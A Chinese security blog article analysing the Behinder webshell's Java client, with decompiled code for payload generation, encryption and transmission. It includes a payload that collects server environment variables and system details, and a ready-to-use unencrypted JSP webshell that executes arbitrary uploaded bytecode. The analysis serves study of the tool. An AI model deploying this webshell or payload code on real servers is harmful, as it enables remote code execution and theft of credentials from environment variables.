冰蝎(二)Java客户端实现
前言
冰蝎解析(一)分析了Java服务端的具体实现,通过自定义类加载器ClassLoader.defineClass()实现将字节码加载至JVM中执行以达到执行任意Java代码的目的,那么接着上次的思路继续分析下冰蝎客户端的实现原理。
冰蝎Java客户端实现
利用jd-gui简单看下冰蝎的源码,其中net.rebeyond.behinder为其核心代码,其中core.ShellService.class为Webshell的操作类,负责调用其他类实现加解密、获取服务端基本信息、命令执行等;payload.java下class文件为Java服务端的具体实现,可以通过ASM框架可以修改其下class文件属性值生成可用payload字节数组;utils.Utils.class为通用操作的具体实现,如payload传输、接收返回结果并解析等。
如上,我们简单了解了冰蝎大致的源码结构。通过一个获取服务端基础信息的过程,我们再来看下冰蝎客户端的具体实现过程。
获取BasicInfo.class 字节数组
ShellService.class中getBasicInfo方法,调用Utils.getData方法获取payload.java下对应BasicInfo.class的字节数组;调用Utils.requestAndParse()发送payload并解析返回值。
public String getBasicInfo(String whatever) throws Exception {
String result = "";
Map<String, String> params = new LinkedHashMap<>();
params.put("whatever", whatever);
//获取BasicInfo.class 字节数据,其中包含此payload的解密与生成过程
byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType);
//发送payload并解析返回结果
Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
byte[] resData = (byte[])resultObj.get("data");
try {
//解密返回结果
result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
} catch (Exception e) {
throw new Exception("+ new String(resData, "UTF-8"));
}
return result;
}
跟进去到Utils.getData(),当传入的type参数为jsp时进入Params.getParamedClass(),获取对应className的字节数组,将其加密和编码处理并返回。
public static byte[] getData(String key, int encryptType, String className, Map<String, String> params, String type, byte[] extraData) throws Exception {
if (type.equals("jsp")) {
byte[] bincls = Params.getParamedClass(className, params);
if (extraData != null)
bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData });
byte[] encrypedBincls = Crypt.Encrypt(bincls, key);
String basedEncryBincls = Base64.encode(encrypedBincls);
return basedEncryBincls.getBytes();
}
if (type.equals("php")) {
byte[] bincls = Params.getParamedPhp(className, params);
bincls = Base64.encode(bincls).getBytes();
bincls = ("assert|eval(base64_decode('" + new String(bincls) + "'));").getBytes();
if (extraData != null)
bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData });
byte[] encrypedBincls = Crypt.EncryptForPhp(bincls, key, encryptType);
return Base64.encode(encrypedBincls).getBytes();
}
if (type.equals("aspx")) {
byte[] bincls = Params.getParamedAssembly(className, params);
if (extraData != null)
bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData });
byte[] encrypedBincls = Crypt.EncryptForCSharp(bincls, key);
return encrypedBincls;
}
if (type.equals("asp")) {
byte[] bincls = Params.getParamedAsp(className, params);
if (extraData != null)
bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData });
byte[] encrypedBincls = Crypt.EncryptForAsp(bincls, key);
return encrypedBincls;
}
return null;
}
继续进入Params.getParamedClass(className, params)方法,通过ASM框架将clsName对应的class文件转化成字节数组并返回。
public static byte[] getParamedClass(String clsName, final Map<String, String> params) throws Exception {
String clsPath = String.format("net/rebeyond/behinder/payload/java/%s.class", new Object[] { clsName });
ClassReader classReader = new ClassReader(String.format("net.rebeyond.behinder.payload.java.%s", new Object[] { clsName }));
ClassWriter cw = new ClassWriter(1);
classReader.accept((ClassVisitor)new ClassAdapter((ClassVisitor)cw) {
public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {
if (params.containsKey(filedName)) {
String paramValue = (String)params.get(filedName);
return super.visitField(arg0, filedName, arg2, arg3, paramValue);
}
return super.visitField(arg0, filedName, arg2, arg3, arg4);
}
}0);
byte[] result = cw.toByteArray();
String oldClassName = String.format("net/rebeyond/behinder/payload/java/%s", new Object[] { clsName });
if (!clsName.equals("LoadNativeLibrary")) {
String newClassName = getRandomClassName(oldClassName);
result = Utils.replaceBytes(result, Utils.mergeBytes(new byte[] { (byte)(oldClassName.length() + 2), 76 }, oldClassName.getBytes()), Utils.mergeBytes(new byte[] { (byte)(newClassName.length() + 2), 76 }, newClassName.getBytes()));
result = Utils.replaceBytes(result, Utils.mergeBytes(new byte[] { (byte)oldClassName.length() }, oldClassName.getBytes()), Utils.mergeBytes(new byte[] { (byte)newClassName.length() }, newClassName.getBytes()));
}
result[7] = 50;
return result;
}
BasicInfo.class的具体实现
以上完成了对应payload.java.BasicInfo.class的字节数组生成与加密过程,看下BasicInfo的具体实现。BaisicInfo.class中重写了equals方法,在此方法中完成了response、response、seesion对象的获取;服务端基本信息的获取、加密;结果的返回和解析。
public boolean equals(Object obj) {
String result = "";
try {
//获取response、response、seesion对象
fillContext(obj);
//获取服务端基本信息
StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量</font></br>");
Map<String, String> env = System.getenv();
for (String name : env.keySet())
basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");
basicInfo.append("<br/><font size=2 color=red>JRE系统属性</font></br>");
Properties props = System.getProperties();
Set<Map.Entry<Object, Object>> entrySet = props.entrySet();
for (Map.Entry<Object, Object> entry : entrySet)
basicInfo.append((new StringBuilder()).append(entry.getKey()).append(" = ").append(entry.getValue()).append("<br/>").toString());
String currentPath = (new File("")).getAbsolutePath();
String driveList = "";
File[] roots = File.listRoots();
for (File f : roots)
driveList = driveList + f.getPath() + ";";
String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
Map<String, String> entity = new HashMap<>();
entity.put("basicInfo", basicInfo.toString());
entity.put("currentPath", currentPath);
entity.put("driveList", driveList);
entity.put("osInfo", osInfo);
entity.put("arch", System.getProperty("os.arch"));
//将结果写入json字符串
result = buildJson(entity, true);
} catch (Exception exception) {
try {
Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
Method write = so.getClass().getMethod("write", new Class[] { byte[].class });
write.invoke(so, new Object[] { Encrypt(result.getBytes("UTF-8")) });
so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
} catch (Exception exception1) {}
} finally {
try {
//将结果写入response对象
Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
Method write = so.getClass().getMethod("write", new Class[] { byte[].class });
write.invoke(so, new Object[] { Encrypt(result.getBytes("UTF-8")) });
so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
} catch (Exception exception) {}
}
return true;
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);
} else {
Map<String, Object> objMap = (Map<String, Object>)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", new Class[] { String.class }).invoke(this.Response, new Object[] { "UTF-8" });
}
//将服务端基本信息写入json字符串的具体实现
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
for (String key : entity.keySet()) {
sb.append("\"" + key + "\":\"");
String value = ((String)entity.get(key)).toString();
if (encode)
if (version.compareTo("1.9") >= 0) {
getClass();
Class<?> Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") });
} else {
getClass();
Class<?> Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") });
value = value.replace("\n", "").replace("\r", "");
}
sb.append(value);
sb.append("\",");
}
sb.setLength(sb.length() - 1);
sb.append("}");
return sb.toString();
}
//AES加密结果
private byte[] Encrypt(byte[] bs) throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", new Class[] { String.class }).invoke(this.Session, new Object[] { "u" }).toString();
byte[] raw = key.getBytes("utf-8");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(1, skeySpec);
byte[] encrypted = cipher.doFinal(bs);
return encrypted;
}
发送payload并解析返回结果
Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
byte[] resData = (byte[])resultObj.get("data");
try {
//解密返回结果
result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
} catch (Exception e) {
throw new Exception("请求失败:"+ new String(resData, "UTF-8"));
}
return result;
Utils.requestAndParse()
public static Map<String, Object> requestAndParse(String urlPath, Map<String, String> header, byte[] data, int beginIndex, int endIndex) throws Exception {
Map<String, Object> resultObj = sendPostRequestBinary(urlPath, header, data);
byte[] resData = (byte[])resultObj.get("data");
if (beginIndex != 0 || endIndex != 0)
if (resData.length - endIndex >= beginIndex)
resData = Arrays.copyOfRange(resData, beginIndex, resData.length - endIndex);
resultObj.put("data", resData);
return resultObj;
}
Utils.sendPostRequestBinary():构造POST请求发送payload到服务端并获取response返回结果
public static Map<String, Object> sendPostRequestBinary(String urlPath, Map<String, String> header, byte[] data) throws Exception {
HttpURLConnection conn;
Map<String, Object> result = new HashMap<>();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
URL url = new URL(urlPath);
if (MainController.currentProxy.get("proxy") != null) {
Proxy proxy = (Proxy)MainController.currentProxy.get("proxy");
conn = (HttpURLConnection)url.openConnection(proxy);
} else {
conn = (HttpURLConnection)url.openConnection();
}
conn.setConnectTimeout(15000);
conn.setUseCaches(false);
conn.setRequestMethod("POST");
if (header != null) {
Object[] keys = header.keySet().toArray();
Arrays.sort(keys);
for (Object key : keys)
conn.setRequestProperty(key.toString(), header.get(key));
}
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setUseCaches(false);
OutputStream outwritestream = conn.getOutputStream();
outwritestream.write(data);
outwritestream.flush();
outwritestream.close();
if (conn.getResponseCode() == 200) {
String encoding = conn.getContentEncoding();
if (encoding != null) {
if (encoding != null && encoding.equals("gzip")) {
GZIPInputStream gZIPInputStream = null;
gZIPInputStream = new GZIPInputStream(conn.getInputStream());
DataInputStream din = new DataInputStream(gZIPInputStream);
byte[] buffer = new byte[1024];
int length = 0;
while ((length = din.read(buffer)) != -1)
bos.write(buffer, 0, length);
} else {
DataInputStream din = new DataInputStream(conn.getInputStream());
byte[] buffer = new byte[1024];
int length = 0;
while ((length = din.read(buffer)) != -1)
bos.write(buffer, 0, length);
}
} else {
DataInputStream din = new DataInputStream(conn.getInputStream());
byte[] buffer = new byte[1024];
int length = 0;
while ((length = din.read(buffer)) != -1)
bos.write(buffer, 0, length);
}
} else {
DataInputStream din = new DataInputStream(conn.getErrorStream());
byte[] buffer = new byte[1024];
int length = 0;
while ((length = din.read(buffer)) != -1)
bos.write(buffer, 0, length);
throw new Exception(new String(bos.toByteArray(), "GBK"));
}
byte[] resData = bos.toByteArray();
result.put("data", resData);
Map<String, String> responseHeader = new HashMap<>();
for (String key : conn.getHeaderFields().keySet())
responseHeader.put(key, conn.getHeaderField(key));
responseHeader.put("status", conn.getResponseCode() + "");
result.put("header", responseHeader);
return result;
}
在payload.java下所有的payload均是通过这种模式使用的。
编写一个Demo
编写一个无AES加密的冰蝎Demo实现获取服务端基本信息和命令执行,只需上述代码中加密部分删除并撤销密钥交换过程即可。更改后的shell.jsp
<%@ page import="java.util.Base64" %>
<%
class U extends ClassLoader{
Class g(byte[] bs){
return super.defineClass(bs,0,bs.length);
}
}
if (request.getMethod().equals("POST")){
byte[] bs = Base64.getDecoder().decode(request.getReader().readLine());
new U().g(bs).newInstance().equals(pageContext);
}
%>
加密与密钥
payload加密
冰蝎使用AES加密传输payload,加密逻辑在net/rebeyond/core/Crypt.java。
在Utils.getData方法被调用将payload AES加密。
密钥协商
冰蝎3采用了预共享密钥确定密钥,逻辑代码为net/rebeyond/core/ShellService.java doConnect方法。
1、取客户端输入password MD5前16位作为currentKey。
this.currentKey = Utils.getKey(this.currentPassword);
2、环境为jsp,生成随机字符串content通过echo方法发送给服务端,payload加密使用的key为1中生成的key,以服务端返回值与content是否相等来判定客户端key是否正确;
其中echo方法的实现原理与getBasicInfo实现原理相同:通过ASM机制动态编译payload/java/Echo.java获取字节数组发送给服务端.
3、当预共享密钥交换失败时沿用冰蝎2方式交换密钥和cookie。
构造一个get请求发起握手,形如:http://1.1.1.1/bx.jsp?pass=123
结果判断和key提取
获取key的测试Demo,后续所有操作都依赖此key的加密。
总结
站在巨人肩膀上看世界。致谢项目作者:
rebeyond-https://github.com/rebeyond/Behinder
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。
微信扫码关注该文公众号作者